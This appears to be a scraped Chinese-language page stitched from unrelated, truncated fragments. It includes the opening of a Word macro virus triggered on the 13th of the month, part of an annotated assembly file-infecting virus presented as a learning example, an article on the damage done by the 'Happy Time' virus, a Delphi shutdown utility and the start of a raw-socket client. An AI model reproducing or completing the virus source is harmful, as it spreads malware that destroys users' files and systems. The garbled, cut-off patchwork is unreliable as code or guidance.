Dim Shared nm(4)
Sub MAIN
DisableInput 1
If Day(Now()) = 13 Then
try:
On Error Goto 0
On Error Goto try
test = - 1
con = 1
tog$ = ""
i = 0

　　　　　　　　While test = - 1

　　　　　　　　　　　　For i = 0 To 4
　　　　　　　　　　　　nm(i) = Int(Rnd() * 10000)　　　　　　　　　　　　　　　
　　　　　　　　　　　　con = (con * nm(i))
　　　　　　　　　　　　If i = 4 Then
　　　　　　　　　　　　tog$ = tog$ + Str$(nm(4)) + " =?"
　　　　　　　　　　　　Goto beg
　　　　　　　　　　　　End If
　　　　　　　　　　　　tog$ = tog$ + Str$(nm(i)) + " *"
　　　　　　　　　　　　Next i
beg:　　　　　　
　　　　　　　　　　　　Beep
　　　　　　　　　　　　ans$ = InputBox$("今天是 " + Date$() + " ,跟你玩一个
心算游戏" +

这个病毒恐怕是世界上最简单的病毒了，它只会感染，不会有破坏动作。本文对病毒的每一部分给出了详细的注释。不要说你看不懂哦。^_^

VirusLength equ VirusEnd-VirusStart
codeseg segment
assume cs:codeseg,ds:codeseg,ss:codeseg
org 100h
main proc near
InfectedCode db "M"
db 3 dup(90h)
VirusStart:
call WhereIAm
WhereIAm:
pop si
;si指向pop si的首地址now
mov bp,si
add si,Original4Bytes-WhereIAm
;si指向Original4Bytes的首地址now
mov di,100h
movsw
movsw

欢乐时光病毒自发现至今，以其隐蔽性、难根除性和广泛、强有力的传播性使众多的电脑用户中了该病毒，并遭受了不同程度的恶性损失，有些用户中了该病毒还没察觉，到了发作时已不能“拯救”了，使整个系统甚至整部电脑都瘫痪，也有中了该病毒的电脑用户为了能彻底地将它消灭掉而绞尽脑汁，但始终都不能达到预期的目。笔者在上个星期也行了个“好运”，有幸和“欢乐时光”共舞了几天，所幸的是通过我不懈地同该病毒作艰苦的斗争后终于取得了彻底的胜利，同时由于走了不少的弯路，也积累了不少的经验和技巧。为了使已感染了该病毒的广大的电脑用户能少走些弯路，能更快、更有效、更彻底地消灭该病毒，同时也使没感染该病毒的电脑用户能对该病毒有更深入系统的认识，以便能更为有效地预防被该病毒感染的概率，在此特将我对该病毒的认识及杀毒方法、技巧写出来和广大朋友共勉。
一、欢乐时光的危害性

　　该病毒具有极强的危害性，“毒性”巨大，已被列入高危害性的病毒，它的危害性主要表现在以下几个方面：

1、逐步删除硬盘中的 .EXE和 .DLL文件，并破坏 html、htm、htt、vbs 和 asp 文件的内容(被修改成病毒代码)；
其先期表现为系统资源严重不足，最终导致系统瘫痪。
2、该病毒会通过OUTLOOK　EXPRESS邮箱地址簿自动向外转发带毒邮件，大量散发病毒邮件，本地的联系人地址越多，收件箱中信件越多，散发邮件数量也越多，造成的破坏也越大。
3、修改桌面墙纸的设置。我的电脑感染该病毒后被设置的墙纸在重新开机后就没了，开始我没察觉是“欢乐时光”的杰作时以为是我在打雷时开着电脑被雷打坏了我的主机，后来清除该病毒后此现象就没了。
4、不仅能使个人计算机系统瘫痪，同时还可感染 HTML文件致使外部网页带毒，导致浏览该网站的用户都将受到感染，该病毒具有极强的传播能力。
二、感染欢乐时光病毒后会出现哪些“症状”

简单关机重启注销代码
///////////////////////////////

program shut;

{$APPTYPE CONSOLE}

uses
 windows;

procedure ShowHelp;
begin
 WriteLn('=========== Shut or Reboot Commputer by hnxyy! ============');
 WriteLn('');
 WriteLn('用法：'+ParamStr(0)+' <-s/-S> or <-r/-R> or <-o/-O>');
 WriteLn('');
 WriteLn('说明：');
 WriteLn('');
 Writeln('-s/-S：关闭计算机');
 Writeln('-r/-R：重启计算机');
 Writeln('-o/-O：注销计算机');
 Writeln('');
 WriteLn
('===========================================================');
end;

//////////*********client.cpp***********///
 
 
 
#include  
#include  
#include  
 
pragma comment(lib,"ws2_32.lib)
 
char SendMsg[256];
 
/* The IP header */
typedef struct iphdr {
unsigned int h_len:4; //4位首部长度
unsigned int version:4; //IP版本号，4表示IPV4
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址